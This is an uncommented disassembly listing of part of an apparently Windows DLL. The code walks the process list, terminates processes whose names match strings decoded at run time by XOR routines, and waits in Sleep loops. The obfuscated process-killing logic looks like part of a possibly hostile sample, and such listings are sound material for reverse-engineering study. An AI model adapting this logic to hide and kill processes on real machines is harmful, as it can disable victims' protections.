cmp qword [rbp - 0x50], 0
je 0x1800251da
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180180f78]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x180024fa3
mov r8, rdi
lea rdx, [0x180180f74]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026b6d
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b0a0
mov qword [rsp + 0x70], rbx
lea rdx, str..exe
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180025197
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180025010
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.1800bcff0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1800bcff0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180025063
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180025071
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180025096
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18002509f
add rax, 2
sub rcx, 1
jne 0x180025083
cmp r9, r10
jae 0x1800250a7
mov ebx, edi
jmp 0x1800250ad
mov ebx, r15d
cmovb ebx, edi
jmp 0x1800250ad
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x1800250ed
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800250e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b73
call fcn.1800d95dc
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x18002513e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025139
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b79
call fcn.1800d95dc
test ebx, ebx
je 0x18002515c
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180024ff0
jmp 0x180025197
mov r8d, dword [rbp + 0x138]
xor edx, edx
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18002518d
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1800251da
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800251d4
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b7f
call fcn.1800d95dc
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x18002521a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025215
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bc1
call fcn.1800d95dc
movups xmm0, xmmword [0x180182540]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x180182550]
mov dword [rsp + 0x50], eax
cmp word [0x180182552], 0
je 0x18002527a
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x34
xor word [rsp + 0x44], 0x35
xor word [rsp + 0x46], 0x36
xor word [rsp + 0x48], 0x37
xor word [rsp + 0x4a], 0x38
xor word [rsp + 0x4c], 0x39
xor word [rsp + 0x4e], 0x3a
xor word [rsp + 0x50], 0x3b
xor word [rsp + 0x52], 0x3c
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x40]
mov r8, rdi
inc r8
cmp word [rax + r8*2], 0
jne 0x180025291
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
nop
or r14d, 1
mov dword [rbp + 0x6b0], r14d
lea rcx, [rbp - 0x80]
call fcn.1800c2980
test al, al
jne 0x180025d22
movups xmm0, xmmword [0x180182558]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180182568]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180182578]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18002540f
movdqa xmm5, xmmword [0x180186340]
movdqa xmm4, xmmword [0x1801865f0]
movdqa xmm6, xmmword [0x1801863a0]
movdqa xmm7, xmmword [0x1801864a0]
lea rcx, [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180025320
cmp r8d, 0x11
jge 0x180025454
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x180025420
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180025470
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180008fd0
nop
or r14d, 2
mov dword [rbp + 0x6b0], r14d
cmp qword [rbp - 0x30], 0
je 0x180025781
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180180f64]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x18002552e
mov r8, rdi
lea rdx, [0x180180f8c]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026b85
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b0a0
mov qword [rsp + 0x70], rbx
lea rdx, [0x180180f80]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1800255c0
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025781
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002577c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b0d
jmp 0x18002577c
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800255e0
lea rdx, [rbp + 0x15c]
lea rcx, [rbp + 0x48]
call fcn.180008fd0
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x20]
call fcn.1800bcff0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.1800bcff0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180025633
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180025641
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180025666
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18002566f
add rax, 2
sub rcx, 1
jne 0x180025653
cmp r9, r10
jae 0x180025677
mov ebx, edi
jmp 0x18002567d
mov ebx, r15d
cmovb ebx, edi
jmp 0x18002567d
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x1800256bd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800256b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b8b
call fcn.1800d95dc
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x18002570e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025709
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b91
call fcn.1800d95dc
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r13w
test ebx, ebx
je 0x180025cb6
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800255c0
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025781
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002577c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026baf
call fcn.1800d95dc
mov eax, dword [0x180182528]
mov dword [rbp + 0x88], eax
movups xmm0, xmmword [str.__PWZOXSYQNZ2o__E]
movups xmm1, xmmword [0x180182518]
movzx eax, word [0x18018252c]
movups xmmword [rbp + 0x68], xmm0
movups xmmword [rbp + 0x78], xmm1
mov word [rbp + 0x8c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x1800258d1
movdqa xmm5, xmmword [0x180186340]
movdqa xmm4, xmmword [0x1801865f0]
movdqa xmm6, xmmword [0x1801863a0]
movdqa xmm7, xmmword [0x1801864a0]
lea rcx, [rbp + 0x68]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x1800257e2
cmp r8d, 0x13
jge 0x180025914
movsxd rax, r8d
lea r9, [rbp + 0x68]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x1800258e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x68]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180025930
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
or r14d, 4
mov dword [rbp + 0x6b0], r14d
cmp qword [rbp - 0x50], 0
je 0x180025a6d
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180180f64]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x1800259ee
mov r8, rdi
lea rdx, [0x180180f8c]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026b97
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b0a0
mov qword [rsp + 0x70], rbx
lea rdx, [0x180180f80]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x180025a80
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025a6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025a68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b9d
call fcn.1800d95dc
mov bl, 1
jmp 0x180025d24
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180025aa0
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x20]
call fcn.180008fd0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x48]
call fcn.1800bcff0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.1800bcff0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180025af3
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180025b01
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180025b26
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x180025b2f
add rax, 2
sub rcx, 1
jne 0x180025b13
cmp r9, r10
jae 0x180025b37
mov ebx, edi
jmp 0x180025b3d
mov ebx, r15d
cmovb ebx, edi
jmp 0x180025b3d
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x180025b7d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025b78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026ba3
call fcn.1800d95dc
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x180025bce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025bc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026ba9
call fcn.1800d95dc
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], r13w
test ebx, ebx
je 0x180025c45
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180025a80
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025a6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025a68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b13
jmp 0x180025a68
mov r8d, dword [rbp + 0x138]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x180025c65
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025d22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025d1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b13
jmp 0x180025d1d
mov r8d, dword [rbp + 0x138]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x180025cd6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025d22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025d1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026baf
call fcn.1800d95dc
xor bl, bl
test r14b, 4
je 0x180025d6f
and r14d, 0xfffffffb
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180025d6f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025d69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bb5
call fcn.1800d95dc
nop
test r14b, 2
je 0x180025dba
and r14d, 0xfffffffd
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x180025dba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025db4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bbb
call fcn.1800d95dc
nop
test r14b, 1
je 0x180025e04
and r14d, 0xfffffffe
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x180025e04
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025dff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bc1
call fcn.1800d95dc
test bl, bl
jne 0x180025ebc
lea rcx, [rbp + 0x6c8]
call fcn.180023b90
mov rbx, qword [rbp + 0x6c8]
movabs rax, 0x7ffffffffa0a1efe
cmp rbx, rax
jg 0x180025e37
add rbx, 0x5f5e100
jmp 0x180025e41
movabs rbx, 0x7fffffffffffffff
lea rcx, [rbp + 0xb0]
call fcn.180023b90
mov rax, qword [rbp + 0xb0]
cmp rbx, rax
mov esi, reloc.WS2_32.dll_WSAStartup
je 0x180024034
jl 0x180024034
mov rcx, rbx
sub rcx, rax
movabs rax, 0x4e94914effff
cmp rcx, rax
jg 0x180025eb0
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x180025ea7
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x180025e41
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x180025e41
lea rax, [rsp + 0x60]
mov qword [rbp + 0x6b0], rax
movups xmm0, xmmword [0x1801825c0]
movups xmmword [rsp + 0x40], xmm0
movzx eax, word [0x1801825d0]
mov ecx, 0x2d
mov word [rsp + 0x40], cx
xor word [rsp + 0x42], 0x34
xor word [rsp + 0x44], 0x35
xor word [rsp + 0x46], 0x36
xor word [rsp + 0x48], 0x37
xor word [rsp + 0x4a], 0x38
xor word [rsp + 0x4c], 0x39
xor word [rsp + 0x4e], 0x3a
xor ax, 0x3b
mov word [rsp + 0x50], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x40]
mov r8, rdi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x180025f30
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.180013e90
mov rbx, rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp]
call fcn.180007a90
nop
lea r8, [rbp + 0xd8]
mov rdx, rbx
mov rcx, rax
call fcn.1800c2710
movzx ebx, al
lea r9, [fcn.180007900]
mov r8, r15
mov edx, 0x20
lea rcx, [rbp - 0x80]
call fcn.1800d9610
test bl, bl
jne 0x180025fda
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18002683f
movups xmm0, xmmword [0x180182558]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180182568]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180182578]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18002611f
movdqa xmm5, xmmword [0x180186340]
movdqa xmm4, xmmword [0x1801865f0]
movdqa xmm6, xmmword [0x1801863a0]
movdqa xmm7, xmmword [0x1801864a0]
lea rcx, [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180026030
cmp r8d, 0x11
jge 0x180026164
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x180026130
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180026180
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180008fd0
nop
cmp qword [rbp - 0x30], 0
jne 0x1800261a7
xor bl, bl
jmp 0x1800264de
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180180f64]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x180026239
mov r8, rdi
lea rdx, [0x180180f8c]
